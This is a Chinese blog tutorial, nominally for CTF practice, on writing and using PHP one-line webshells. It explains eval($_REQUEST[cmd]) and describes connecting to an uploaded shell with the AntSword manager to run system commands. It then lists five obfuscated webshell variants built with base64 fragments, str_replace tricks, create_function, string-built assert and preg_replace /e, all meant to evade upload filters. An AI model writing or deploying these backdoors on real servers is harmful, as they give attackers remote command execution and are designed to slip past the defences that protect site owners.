PHP木马编写

一、最简单的一句话木马

<?php eval($_REQUEST[cmd]); ?>

1. <?php?>

  • <?php?> 是 PHP 代码的开始和结束标记,表示 PHP 代码块的范围。

2. eval()

  • eval() 是 PHP 中的一个内建函数,用来执行字符串类型的 PHP 代码。它会将传入的字符串当作 PHP 代码进行解析和执行。
  • 由于 eval() 可以执行任意 PHP 代码,因此它通常被视为潜在的安全风险,尤其是在它接收来自外部输入的数据时。

3. $_REQUEST[cmd]

  • $_REQUEST 是 PHP 中的一个超全局数组,它包含了通过 HTTP 请求(如 GETPOSTCOOKIE)传递的数据。
  • cmd$_REQUEST 数组中的一个索引,表示请求中传递的参数名称。也就是说,这段代码期望在请求中传递一个名为 cmd 的参数,并且 cmd 的值将作为 eval() 函数的输入。

二、木马的使用方式:

1.使用webshell管理工具连接:

比如蚁剑:

成功上传一个一句话木马

打开蚁剑,右键添加数据:

填入木马的地址(使用https可能连接失败,最好使用http)和密码(中括号'[]'里的就是密码),编码器使用默认的就行。可以测试连接,然后点击添加。

双击下面这个刚刚添加的数据,可以进入目标的文件目录。一般来说,ctf比赛中,flag中根目录(/)下的/flag里或者/var/www/html下的flag.php里。

2.访问木马get或者post传参使用

system():执行系统命令函数,里面的参数是系统命令。注意末尾要加分号;(英文的)。先找到flag,然后再使用cat或者tac查看。

三、对木马内容进行防检测处理

一般来说,在可以进行上传文件的地方会有很多检验和过滤,这里分享一些常见的针对文件内容的防止检查的木马。

php 复制代码
<?php  $mt="mFsKCleRfU"; $ojj="IEBleldle"; $hsa="E9TVFsnd2VuJ10p"; $fnx="Ow=="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> //pass is wen
php 复制代码
<?php $a="ass"; $b="ert";  $c=$a.$b; $c($_POST[cmd]); ?>
php 复制代码
<?php $item['wind'] = 'assert'; $array[] = $item; $array[0]['wind']($_POST['cmd']);?>
php 复制代码
<?php @preg_replace("/[copyright]/e",$_POST['c'],"error");?>
php 复制代码
<?php 
$uf="snc3"; //pass is sqzr
$ka="IEBldmFbsK"; 
$pjt="CRfUE9TVF"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="F6ciddKTs="; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("b", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?> 
相关推荐
下北沢美食家几秒前
JavaScript面试题2
开发语言·javascript·ecmascript
数据知道21 分钟前
claw-code 源码分析:大型移植的测试哲学——如何用 unittest 门禁守住「诚实未完成」的口碑?
开发语言·python·ai·claude code·claw code
小堃学编程30 分钟前
【项目实战】基于protobuf的发布订阅式消息队列(2)—— 线程池
java·开发语言
每日任务(希望进OD版)35 分钟前
线性DP、区间DP
开发语言·数据结构·c++·算法·动态规划
怨言.37 分钟前
Java内部类详解:从基础概念到实战应用(附案例)
java·开发语言
AC赳赳老秦37 分钟前
OpenClaw image-processing技能实操:批量抠图、图片尺寸调整,适配办公需求
开发语言·前端·人工智能·python·深度学习·机器学习·openclaw
XiYang-DING38 分钟前
【Java】 Java 集合框架
java·开发语言
charlie11451419139 分钟前
嵌入式C++教程实战之Linux下的单片机编程(9):HAL时钟使能 —— 不开时钟,外设就是一坨睡死的硅
linux·开发语言·c++·单片机·嵌入式硬件·c
KevinCyao43 分钟前
安卓android视频短信接口怎么集成?AndroidStudio视频短信开发指南
android
diving deep44 分钟前
从零构建大模型--实操--搭建python环境
开发语言·python